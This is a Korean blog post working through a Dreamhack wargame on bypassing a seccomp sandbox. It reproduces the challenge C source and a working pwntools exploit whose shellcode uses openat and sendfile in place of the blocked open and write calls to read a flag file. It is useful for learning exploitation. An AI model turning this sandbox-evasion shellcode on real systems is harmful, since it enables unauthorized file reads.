Pwn

Bypass Seccomp-1 (wargame)

ENFJ_T 2024. 7. 30. 12:16

https://dreamhack.io/wargame/challenges/361

 

Bypass SECCOMP-1

Description Exploit Tech: Bypass SECCOMP에서 실습하는 문제입니다. Challenge Updates 2023.04.27: Ubuntu 22.04 환경으로 업데이트되었습니다.

dreamhack.io

C언어 코드

// Name: bypass_seccomp.c
// Compile: gcc -o bypass_seccomp bypass_seccomp.c -lseccomp

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

먼저 코드를 확인해보면 input으로 0x1000 크기 만큼 shellcode라는 변수에 값을 받고 sandbox를 적용한 뒤 실행하는 코드이다.

seccomp에는 deny list로 open, execve, execveat, write를 정의한다.

이것을 우회하는 방법은 여러가지가 존재할 수 있다. 

그 중 1가지 방법으로 할 것이다.

이 방법은 excve 쉘코드가 막혀 있기 때문에 우리가 원하는 파일의 위치와 이름을 찾고 orw 쉘코드를 사용하는 것이다. orw 쉘코드에서 open과 write는 막혔지만, 그 대체로 사용할 수 있는 시스템 콜도 존재한다. open 대신에는 opennat을, write 대신에는 sendfile 시스템 콜을 활용해서 내용을 출력할 수 있다. 

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

시스템 콜들의 인자값은 이렇게 되어 있다.

openat 같은 경우는 dirfd를 무시하기 위해 pathname을 절대 경로로 명시할 것이다

sendfile은 읽을 파일의 파일 디스크립터를 in_fd에 삽입하고, stdout의 파일 디스크립터를 out_fd에 삽입하여 내용을 읽는다.

 

그리고 절대 경로로 명시해야 하기 때문에 flag 파일의 위치를 찾아야 하는데 Dockerfile을 보게 되면

ENV user bypass_seccomp
ADD ./flag /home/$user/flag

가 존재한다

위와 같은 사실을 통해서 flag는 home 안에 bypass_seccomp라는 user 디렉토리 안에 존재한다는 것을 알 수 있다.

그래서 절대 경로로 orw 쉘코드를 작성하게 되면,

from pwn import *

context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 10045)

shellcode = shellcraft.openat(0, "/home/bypass_seccomp/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0, 100)
shellcode += shellcraft.exit(0)

p.sendline(asm(shellcode))
p.interactive()

위와 같이 쉘코드를 작성할 수 있다.

 

몰랐던 사실 하나를 알게 되었는데 execl로 우회 안되나? 싶었는데 알고 보니 execl 과 같은 exec 계열은 C언어의 함수이기에 시스템 콜 번호는 execve와 똑같다고 한다.